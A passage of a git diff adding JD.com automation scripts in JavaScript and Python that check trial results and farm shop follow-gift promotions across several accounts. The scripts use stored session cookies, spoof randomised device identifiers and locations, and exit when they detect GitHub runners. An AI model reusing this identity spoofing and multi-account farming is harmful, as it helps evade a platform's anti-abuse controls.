RegExp.$1.length)) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) + return fmt + } + + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts) { + const toEnvOpts = (rawopts) => { + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (this.isLoon()) return rawopts + else if (this.isQuanX()) return { + 'open-url': rawopts + } + else if (this.isSurge()) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (this.isLoon()) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (this.isQuanX()) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (this.isSurge()) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + if (!this.isMute) { + if (this.isSurge() || this.isLoon()) { + $notification.post(title, subt, desc, toEnvOpts(opts)) + } else if (this.isQuanX()) { + $notify(title, subt, desc, toEnvOpts(opts)) + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } + + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.join(this.logSeparator)) + } + + logErr(err, msg) { + const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() + if (!isPrintSack) { + this.log('', `❗️${this.name}, 错误!`, err) + } else { + this.log('', `❗️${this.name}, 错误!`, err.stack) + } + } + + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } + + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + if (this.isSurge() || this.isQuanX() || this.isLoon()) { + $done(val) + } + } + })(name, opts) +} diff --git a/jd_try_notify.js b/jd_try_notify.js new file mode 100644 index 0000000..c94afc4 --- /dev/null +++ b/jd_try_notify.js @@ -0,0 +1,206 @@ +/* +cron "22 15 * * *" jd_try_notify.js + */ +const $ = new Env('京东试用待领取通知') +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let trialActivityIdList = [] +let trialActivityTitleList = [] +let notifyMsg = '' +let size = 1; +$.isPush = true; +$.isLimit = false; +$.isForbidden = false; +$.wrong = false; +$.giveupNum = 0; +$.successNum = 0; +$.completeNum = 0; +$.getNum = 0; +$.try = true; +$.sentNum = 0; +$.notifyMsg = '' + +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + // for (let i = 0; i < 200; i++) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.canRun = true; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let data = await try_list() + try { + list = data.data.list + for (let j = 0; j < list.length; j++) { + item = list[j] + if (item.leftTime) { + if (new Date().getTime() < item.endTime + 60 * 60 * 24 * 1000 * 2) { + let title=item.trialName.length>15?item.trialName.substr(0,30)+'...':item.trialName + console.log(`可免费领取-${title}`) + $.notifyMsg += `【账号】${$.index}.${$.UserName} 可免费领取-${title}\n入口:京东-我的-更多工具-新品试用\n`; + } else { + console.log("开始领取两天后不再推") + } + } + } + } catch (e) { + } + await $.wait(50 * 1000); + } + } + //console.log($.notifyMsg) + if ($.isNode() && $.notifyMsg) { + await notify.sendNotify(`${$.name}`, `${$.notifyMsg}`); + } + +})().catch((e) => { + console.error(`❗️ ${$.name} 运行错误!\n${e}`) +}).finally(() => $.done()) + +async function try_list() { + return new Promise((resolve, reject) => { + console.log(`拉取申请成功列表...`) + let option = taskurl_xh() + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('err', err) + } else { + data = JSON.parse(data); + + for (const vo of data.data.list) { + if($.runFalag == false) break + $.trialNames = vo.trialName + //console.log(`\n${$.trialNames}`); + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve(data) + } + }) + }) +} + +function taskurl_xh() { + return { + url: "https://api.m.jd.com/client.action", + body: `appid=newtry&functionId=try_MyTrials&clientVersion=10.3.6&client=wh5&body=%7B%22page%22%3A1%2C%22selected%22%3A2%2C%22previewTime%22%3A%22%22%7D`, + headers: { + 'origin': 'https://prodev.m.jd.com', + 'user-agent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://prodev.m.jd.com/', + 'cookie': `${$.cookie} __jda=1.1.1.1.1.1;` + }, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${$.cookiesArr.length}个京东账号\n`) + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_try_notify.py b/jd_try_notify.py new file mode 100644 index 0000000..9029776 --- /dev/null +++ b/jd_try_notify.py @@ -0,0 +1,141 @@ +#Source::https://github.com/Hyper-Beast/JD_Scripts + +""" +cron: 20 20 * * * +new Env('京东试用成功通知'); +""" + + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID,lng,lat + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + lng='119.31991256596'+str(random.randint(100,999)) + lat='26.1187118976'+str(random.randint(100,999)) + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + + +def printf(text): + print(text) + sys.stdout.flush() + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open('/ql/config/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + print('读取auth.json文件出错,跳过获取备注') + +def get_succeedinfo(ck): + url='https://api.m.jd.com/client.action' + headers={ + 'accept':'application/json, text/plain, */*', + 'content-type':'application/x-www-form-urlencoded', + 'origin':'https://prodev.m.jd.com', + 'content-length':'249', + 'accept-language':'zh-CN,zh-Hans;q=0.9', + 'User-Agent':UserAgent, + 'referer':'https://prodev.m.jd.com/', + 'accept-encoding':'gzip, deflate, br', + 'cookie':ck + } + data=f'appid=newtry&functionId=try_MyTrials&uuid={uuid}&clientVersion={clientVersion}&client=wh5&osVersion={iosVer}&area={area}&networkType=wifi&body=%7B%22page%22%3A1%2C%22selected%22%3A2%2C%22previewTime%22%3A%22%22%7D' + response=requests.post(url=url,headers=headers,data=data) + isnull=True + try: + for i in range(len(json.loads(response.text)['data']['list'])): + if(json.loads(response.text)['data']['list'][i]['text']['text']).find('试用资格将保留')!=-1: + print(json.loads(response.text)['data']['list'][i]['trialName']) + try: + send("京东试用待领取物品通知",'账号名称:'+remarkinfos[ptpin]+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + except: + send("京东试用待领取物品通知",'账号名称:'+urllib.parse.unquote(ptpin)+'\n'+'商品名称:'+json.loads(response.text)['data']['list'][i]['trialName']+"\n"+"商品链接:https://item.jd.com/"+json.loads(response.text)['data']['list'][i]['skuId']+".html") + isnull=False + if isnull==True: + print("没有在有效期内待领取的试用品\n\n") + except: + print('获取信息出错,可能是账号已过期') +if __name__ == '__main__': + remarkinfos={} + try: + get_remarkinfo() + except: + pass + try: + cks = os.environ["JD_COOKIE"].split("&") + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + ck = ck.strip() + if ck[-1] != ';': + ck += ';' + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + except Exception as e: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + UserAgent=randomuserAgent() + get_succeedinfo(ck) diff --git a/jd_txgzyl.js b/jd_txgzyl.js new file mode 100644 index 0000000..b0fd456 --- /dev/null +++ b/jd_txgzyl.js @@ -0,0 +1,652 @@ +/* +更新时间:2022-4-11 +皮卡车 + +# 变量 +export PKC_TXGZYL="" + +抓body方法: +添加重写,点击带有"特效"的关注有礼即可获取。能够实现:车头获取,全车跟上。(免sign、token) + +圈x或v2p: +可在boxjs(皮卡车-TG推送)设置tg推送,获取变量自动给机器人发送,实现自助式监控。 +boxjs订阅:https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/boxjs.json + + + +兼容圈x、v2p +#【圈x】重写订阅地址: https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/cx.conf +#【v2p】重写订阅地址: https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/cx_v2p.json + +[rewrite_remote] +https://git.metauniverse-cn.com/https://raw.githubusercontent.com/curtinlv/gd/main/dy/cx.conf, tag=订阅-Curtin, update-interval=172800, opt-parser=false, enabled=true + +cron:1 1 1 1 * +============Quantumultx=============== +[task_local] +#PKC-特效关注有礼 +1 1 1 1 * jd_txgzyl.js, tag=PKC-特效关注有礼, enabled=true + + +*/ +const $ = new Env('PKC关注有礼-特效'); +let cookiesArr = [], cookie = '', notify, allMessage = '' ; +const logs = 0; // 0为关闭日志,1为开启 +$.message = ''; +const timeout = 15000;//超时时间(单位毫秒) +sleeptime = 1500; //请求休眠时间(单位毫秒) + + +$.countBean={}; +let isGetbody = typeof $request !== 'undefined'; + +!(async () => { + if (isGetbody) { + // Telegram 为监控准备,抓body自动发到tg监控bot设置变量 + TG_BOT_TOKEN = ($.getdata('TG_BOT_TOKEN') || ''); + TG_USER_ID = ($.getdata('TG_USER_ID') || ''); + TG_API_HOST = ($.getdata('TG_API_HOST') || 'api.telegram.org'); + TG_PROXY_HOST = ($.getdata('TG_PROXY_HOST') || ''); + TG_PROXY_PORT = ($.getdata('TG_PROXY_PORT') || ''); + TG_PROXY_AUTH = ($.getdata('TG_PROXY_AUTH') || ''); + await GetBody(); + $.done(); +} + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + + for ( let b = 0; b < $.activityIdArr.length; b++){ + label = 0; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + nickname = `${$.nickName || $.UserName}`; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + activityId = $.activityIdArr[b]; + await isvObfuscator(sleeptime); + await activity(sleeptime); + await activityContent(sleeptime); + if (label === 4){ + break + } + // await getSimpleActInfoVo(); + + await getMyPing(sleeptime); + await draw(sleeptime); + if($.index != cookiesArr.length){ + // 每个账号间隔随机休眠几秒 + await $.wait(parseInt(Math.random() * 5000 + 100, 10)); + } + } + } + + } + //count + if($.countBean){ + $.message += '\n-----------【PKC特效关注有礼】-----------\n'; + for (var key in $.countBean){ + $.message += `【账号】${key} ${$.countBean[key]}\n` + } + } + + if ($.isNode()) { + console.log(`${$.name}\n${$.message}`); + await notify.sendNotify($.name, $.message); + }else { + $.msg($.name, ``, $.message); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }); + + +async function GetBody() { + if ($request && $request.url.indexOf("wxShopGift/draw") >= 0) { + + if (typeof $request.body !== 'undefined'){ + modifiedBody = $request.body; + const gzylBodyVal = modifiedBody.match(/activityId=(.*?)&/)[1];; + if (gzylBodyVal) $.setdata(gzylBodyVal, "PKC_TXGZYL"); + $.log( + `[${$.name}] PKC特效关注有礼店铺id✅: 成功, export PKC_TXGZYL='${gzylBodyVal}'` + ); + $.msg($.name, `获取特效关注有礼店铺id: 成功🎉`, `export PKC_TXGZYL="${gzylBodyVal}"`); + await sendNotify(`#PKC皮卡车\nexport PKC_TXGZYL="${gzylBodyVal}" #PKC特效关注有礼店铺id`, ``) + }; + $done(); + } +} + +//获取LZ_TOKEN_KEY +async function activity(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + + headers:{ + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : '', + 'Connection' : `keep-alive`, + 'Accept' : `text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`, + 'Host' : `lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9` + }, + + body: `` + }; + // console.log(JSON.stringify(url)); + $.post(url, async (err, resp, data) => { + try { + // $.resp = JSON.parse(resp); + 